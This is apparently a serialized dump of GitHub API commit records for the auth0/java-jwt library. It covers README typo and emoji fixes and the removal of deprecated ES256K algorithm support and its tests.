events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj;t  }(jXt  web-flowjZt  J/j/t  MDQ6VXNlcjE5ODY0NDQ3j\t  4https://avatars.githubusercontent.com/u/19864447?v=4j^t  h3jEt  %https://api.github.com/users/web-flowjSt  https://github.com/web-flowjat  /https://api.github.com/users/web-flow/followersjct  <https://api.github.com/users/web-flow/following{/other_user}jet  5https://api.github.com/users/web-flow/gists{/gist_id}jgt  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jit  3https://api.github.com/users/web-flow/subscriptionsjkt  *https://api.github.com/users/web-flow/orgsjmt  +https://api.github.com/users/web-flow/reposjot  6https://api.github.com/users/web-flow/events{/privacy}jqt  5https://api.github.com/users/web-flow/received_eventsjst  Userjut  uparents](}(j-t  (f96e4f4c5635167d02593a1da7a98686eaad75fbjEt  \https://api.github.com/repos/auth0/java-jwt/commits/f96e4f4c5635167d02593a1da7a98686eaad75fbjSt  Qhttps://github.com/auth0/java-jwt/commit/f96e4f4c5635167d02593a1da7a98686eaad75fbu}(j-t  (56e663c3b5830e0329160f2165043aff89f8d3bbjEt  \https://api.github.com/repos/auth0/java-jwt/commits/56e663c3b5830e0329160f2165043aff89f8d3bbjSt  Qhttps://github.com/auth0/java-jwt/commit/56e663c3b5830e0329160f2165043aff89f8d3bbuestats}(totalK	additionsK	deletionsKufiles]}(j-t  (8e634ee659222bf62541cc162ac6ac067391f23efilename	README.mdstatusmodifiedjt  Kjt  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/0b63418b77296c5565b3257470c429811558a5e8/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/0b63418b77296c5565b3257470c429811558a5e8/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=0b63418b77296c5565b3257470c429811558a5e8patch@@ -52,7 +52,7 @@ Add the dependency via Maven:
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:jva-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.1'
 ```
 
 ### Create a JWTuau(08f78c59d4eb71fc1ce667f7bf8b0121abd0599d}(sha(08f78c59d4eb71fc1ce667f7bf8b0121abd0599dnode_idEC_kwDOAQtL0doAKDA4Zjc4YzU5ZDRlYjcxZmMxY2U2NjdmN2JmOGIwMTIxYWJkMDU5OWQcommit}(author}(nameNikolay Edigaryevemailedigaryev@gmail.comdate2022-10-24T14:49:14Zu	committer}(jt  GitHubjt  noreply@github.comjt  2022-10-24T14:49:14Zumessage1Remove emoji to fix the broken documentation linktree}(jt  (ccf8da88be5fb668653cf7fa09e02a30e61386faurl^https://api.github.com/repos/auth0/java-jwt/git/trees/ccf8da88be5fb668653cf7fa09e02a30e61386faujt  `https://api.github.com/repos/auth0/java-jwt/git/commits/08f78c59d4eb71fc1ce667f7bf8b0121abd0599d
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVqXqCRBK7hj4Ov3rIwAAFn4IAFrT8ZqVZXzjZtQXj3LxPCWc
Jb9gBfDPj6DS2wnZCb/3e/si2CJXJGuYylHENQAK0xzZDuU6A2xm0ex050MX2COO
9NfCtWkC8TLc3EWE8qbwgoxZW9k4pHtlCE4h6BHntS/OqnBTVeE5ZeZMPNyPN67n
D8LHW7NNxGbcuyOmehWj0XIiS+iGxDR0cy11JyuG/Qk4eogTcjevF9mLi8XOFyHN
D5m2yKRV4NejxnpCHWA4PYZWlUm+sPMXGGWYy3Yc8IoHTiBkkStgMbFyPHGo3kTZ
cvooqOdYjue8LZhyCk107wZ3heEovo0/5wdr3yTbN5+cNZBHTalveJVzFwea5Oc=
=xYt+
-----END PGP SIGNATURE-----
payloadX  tree ccf8da88be5fb668653cf7fa09e02a30e61386fa
parent c8d0ba995543c9cee50abe9f4aa4f9873b29489f
author Nikolay Edigaryev <edigaryev@gmail.com> 1666622954 +0400
committer GitHub <noreply@github.com> 1666622954 +0400

Remove emoji to fix the broken documentation linkuujt  \https://api.github.com/repos/auth0/java-jwt/commits/08f78c59d4eb71fc1ce667f7bf8b0121abd0599dhtml_urlQhttps://github.com/auth0/java-jwt/commit/08f78c59d4eb71fc1ce667f7bf8b0121abd0599dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/08f78c59d4eb71fc1ce667f7bf8b0121abd0599d/commentsjt  }(login	edigaryevidJN jt  MDQ6VXNlcjg1NzA5
avatar_url1https://avatars.githubusercontent.com/u/85709?v=4gravatar_idh3jt  &https://api.github.com/users/edigaryevjt  https://github.com/edigaryev
followers_url0https://api.github.com/users/edigaryev/followers
following_url=https://api.github.com/users/edigaryev/following{/other_user}	gists_url6https://api.github.com/users/edigaryev/gists{/gist_id}starred_url=https://api.github.com/users/edigaryev/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/edigaryev/subscriptionsorganizations_url+https://api.github.com/users/edigaryev/orgs	repos_url,https://api.github.com/users/edigaryev/repos
events_url7https://api.github.com/users/edigaryev/events{/privacy}received_events_url6https://api.github.com/users/edigaryev/received_eventstypeUser
site_adminujt  }(jt  web-flowjt  J/jt  MDQ6VXNlcjE5ODY0NDQ3jt  4https://avatars.githubusercontent.com/u/19864447?v=4jt  h3jt  %https://api.github.com/users/web-flowjt  https://github.com/web-flowjt  /https://api.github.com/users/web-flow/followersjt  <https://api.github.com/users/web-flow/following{/other_user}jt  5https://api.github.com/users/web-flow/gists{/gist_id}jt  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jt  3https://api.github.com/users/web-flow/subscriptionsjt  *https://api.github.com/users/web-flow/orgsjt  +https://api.github.com/users/web-flow/reposjt  6https://api.github.com/users/web-flow/events{/privacy}jt  5https://api.github.com/users/web-flow/received_eventsjt  Userjt  uparents]}(jt  (c8d0ba995543c9cee50abe9f4aa4f9873b29489fjt  \https://api.github.com/repos/auth0/java-jwt/commits/c8d0ba995543c9cee50abe9f4aa4f9873b29489fjt  Qhttps://github.com/auth0/java-jwt/commit/c8d0ba995543c9cee50abe9f4aa4f9873b29489fuastats}(totalK	additionsK	deletionsKufiles]}(jt  (f96e806f7ce6a4dd3c4e654b9e222c5ef069c873filename	README.mdstatusmodifiedj
u  Kju  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/08f78c59d4eb71fc1ce667f7bf8b0121abd0599d/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/08f78c59d4eb71fc1ce667f7bf8b0121abd0599d/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=08f78c59d4eb71fc1ce667f7bf8b0121abd0599dpatchXe  @@ -187,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 > Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
 
-##### :key: HMAC Key Length and Security
+##### HMAC Key Length and Security
 
 When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 uau(499f481a303cea073a95b0b57a920aa71d344993}(sha(499f481a303cea073a95b0b57a920aa71d344993node_idEC_kwDOAQtL0doAKDQ5OWY0ODFhMzAzY2VhMDczYTk1YjBiNTdhOTIwYWE3MWQzNDQ5OTMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-18T12:51:18Zu	committer}(j'u  GitHubj)u  noreply@github.comj+u  2022-03-18T12:51:18ZumessagepRemove ES256K support (#556)

* Remove ES256K methods and related tests

* Removed related files and constantstree}(ju  (dd86372d67397b9b6f4eeeedf555cbedad39e98aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/dd86372d67397b9b6f4eeeedf555cbedad39e98auj7u  `https://api.github.com/repos/auth0/java-jwt/git/commits/499f481a303cea073a95b0b57a920aa71d344993
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiNIBGCRBK7hj4Ov3rIwAAYKsIAFjgiNxGkXFfnpZxLKuG4upd
c4u0iRa8m1sWEUyBf74S07DMgfqRBRbvKwY6fbpjGltn5rXbOBOFHBBzWbRFDw9a
O3q5TCdwNvnsRcueMSokPo0LwwrOFXWGJ7R+W0qX35cL9lNmaqFK0wGgpeI4bF7e
elo/znF1IV/CA716Z7mxI8eutPmLj3MH3L6i4nur/o9YHMMDFNfGCSZa2MJ42CE+
iJwaYLSnhspDklseoI0iUJZX46oVeYMNQw25anPo15OBxKo1G2OVxbsfhb6yRdV/
3HvAq8lOBmMWBKJ0W/G4w1mT/P3Co1J0K+Rge0ssEgiTbx8bht9RrQ/Kscra438=
=EORI
-----END PGP SIGNATURE-----
payloadXB  tree dd86372d67397b9b6f4eeeedf555cbedad39e98a
parent f6301e101926e35fdf972f3b9f9ca8bb95fae527
author Poovamraj T T <poovamraj@gmail.com> 1647607878 +0530
committer GitHub <noreply@github.com> 1647607878 +0100

Remove ES256K support (#556)

* Remove ES256K methods and related tests

* Removed related files and constantsuuj7u  \https://api.github.com/repos/auth0/java-jwt/commits/499f481a303cea073a95b0b57a920aa71d344993html_urlQhttps://github.com/auth0/java-jwt/commit/499f481a303cea073a95b0b57a920aa71d344993comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/499f481a303cea073a95b0b57a920aa71d344993/commentsj%u  }(login	poovamrajidJ j!u  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j7u  &https://api.github.com/users/poovamrajjEu  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj-u  }(jJu  web-flowjLu  J/j!u  MDQ6VXNlcjE5ODY0NDQ3jNu  4https://avatars.githubusercontent.com/u/19864447?v=4jPu  h3j7u  %https://api.github.com/users/web-flowjEu  https://github.com/web-flowjSu  /https://api.github.com/users/web-flow/followersjUu  <https://api.github.com/users/web-flow/following{/other_user}jWu  5https://api.github.com/users/web-flow/gists{/gist_id}jYu  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j[u  3https://api.github.com/users/web-flow/subscriptionsj]u  *https://api.github.com/users/web-flow/orgsj_u  +https://api.github.com/users/web-flow/reposjau  6https://api.github.com/users/web-flow/events{/privacy}jcu  5https://api.github.com/users/web-flow/received_eventsjeu  Userjgu  uparents]}(ju  (f6301e101926e35fdf972f3b9f9ca8bb95fae527j7u  \https://api.github.com/repos/auth0/java-jwt/commits/f6301e101926e35fdf972f3b9f9ca8bb95fae527jEu  Qhttps://github.com/auth0/java-jwt/commit/f6301e101926e35fdf972f3b9f9ca8bb95fae527uastats}(totalMu	additionsK	deletionsMtufiles](}(ju  (a672afaf2567a23a8efa3b6344510690e75b5958filenamelib/build.gradlestatusmodifiedju  K ju  K
changesK
blob_urlbhttps://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=499f481a303cea073a95b0b57a920aa71d344993patchX7  @@ -114,19 +114,6 @@ def testJava17 = tasks.register('testJava17', Test) {
         languageVersion = JavaLanguageVersion.of(17)
     })
     shouldRunAfter(tasks.named('test'))
-
-    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
-    filter {
-        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-    }
 }
 
 tasks.named('check') {u}(ju  (ff10a9aaa7481cc9dc3043151e0c0e9fe945282bju  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaju  modifiedju  K ju  Kju  Kju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  X  @@ -171,37 +171,6 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
-    /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
-     *
-     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
-     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
-     * This method will be removed in the next major version. See for additional information
-     */
-    @Deprecated
-    public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
-        return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
-    }
-
-    /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
-     *
-     * @param publicKey  the key to use in the verify instance.
-     * @param privateKey the key to use in the signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
-     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
-     * This method will be removed in the next major version. See for additional information
-     */
-    @Deprecated
-    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
-        return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
-    }
-
     /**
      * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *u}(ju  (a06df7b72f5615086c3919f731b33ac4178ec183ju  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javaju  modifiedju  K ju  K
ju  K
ju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  XP  @@ -28,8 +28,6 @@ public class ConcurrentVerifyTest {
     private static final int REPEAT_COUNT = 1000;
     private static final String PUBLIC_KEY_FILE = "src/test/resources/rsa-public.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public.pem";
 
@@ -145,17 +143,6 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
         concurrentVerify(verifier, token);
     }
     
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
-        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        JWTVerifier verifier = JWTVerifier.init(algorithm).withIssuer("auth0").build();
-        
-        concurrentVerify(verifier, token);
-    }
-    
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String token = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(ju  (6c8706563087b11136b5ce829b10bb9b54b60c2eju  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaju  modifiedju  K ju  K#ju  K#ju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  X	  @@ -25,8 +25,6 @@ public class JWTCreatorTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
 
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -186,39 +184,6 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
         assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
     }
 
-    @Test
-    public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .sign(Algorithm.ECDSA256K(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
-    @Test
-    public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.ECDSA256(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
     @Test
     public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");u;     }(ju  (958e89fb4ce946054d7323dcec96ba266aa09e68ju  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaju  modifiedju  K ju  Kju  Kju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  X 	  @@ -28,11 +28,9 @@ public class JWTTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
 
     private static final String PUBLIC_KEY_FILE_EC_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_512 = "src/test/resources/ec512-key-public.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 
@@ -493,25 +491,6 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
         assertThat(verified, is(notNullValue()));
     }
 
-    @Test
-    public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
-        ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-
-        String signed = JWT.create().sign(Algorithm.ECDSA256K(publicKey, privateKey));
-        assertThat(signed, is(notNullValue()));
-
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("alg", "ES256K"));
-        assertThat(headerJson, JsonMatcher.hasEntry("typ", "JWT"));
-        assertThat(parts[1], is("e30"));
-
-        JWTVerifier verified = JWT.require(Algorithm.ECDSA256K(publicKey, privateKey))
-                .build();
-        assertThat(verified, is(notNullValue()));
-    }
-
     @Test
     public void shouldCreateAnEmptyECDSA384SignedToken() throws Exception {
         String signed = JWT.create().sign(Algorithm.ECDSA384((ECKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_384, "EC")));u}(ju  (e09661d3dc62b9fda10c178faa645e4531c68b1cju  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaju  modifiedju  K ju  Kju  Kju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  X  @@ -450,29 +450,6 @@ public void shouldCreateECDSA256AlgorithmWithProvider() {
         assertThat(algorithm.getName(), is("ES256"));
     }
 
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() {
-        ECPublicKey publicKey = mock(ECPublicKey.class);
-        ECPrivateKey privateKey = mock(ECPrivateKey.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
     @Test
     public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));u}(ju  (8634d419904f165beba8d1d6fa92d2afdff1aae3ju  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaju  modifiedju  Kju  Koju  Kpju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  XO  @@ -39,11 +39,6 @@ public class ECDSAAlgorithmTest {
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public-invalid.pem";
     
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
-    private static final String ES256K_JWT = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.2ggPsc4xwQhYcgJueo3uQ14MpaVJ3AbEE8UE-wA9fc8SMibeW54gjZbikL-JBHqhEwc22Cp8DNOtadXsM81RGQ";
-    
     private static final String PRIVATE_KEY_FILE_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public-invalid.pem";
@@ -186,112 +181,7 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
         Algorithm algorithm = Algorithm.ECDSA256((ECKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256, "EC"));
         algorithm.verify(JWT.decode(jwt));
     }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
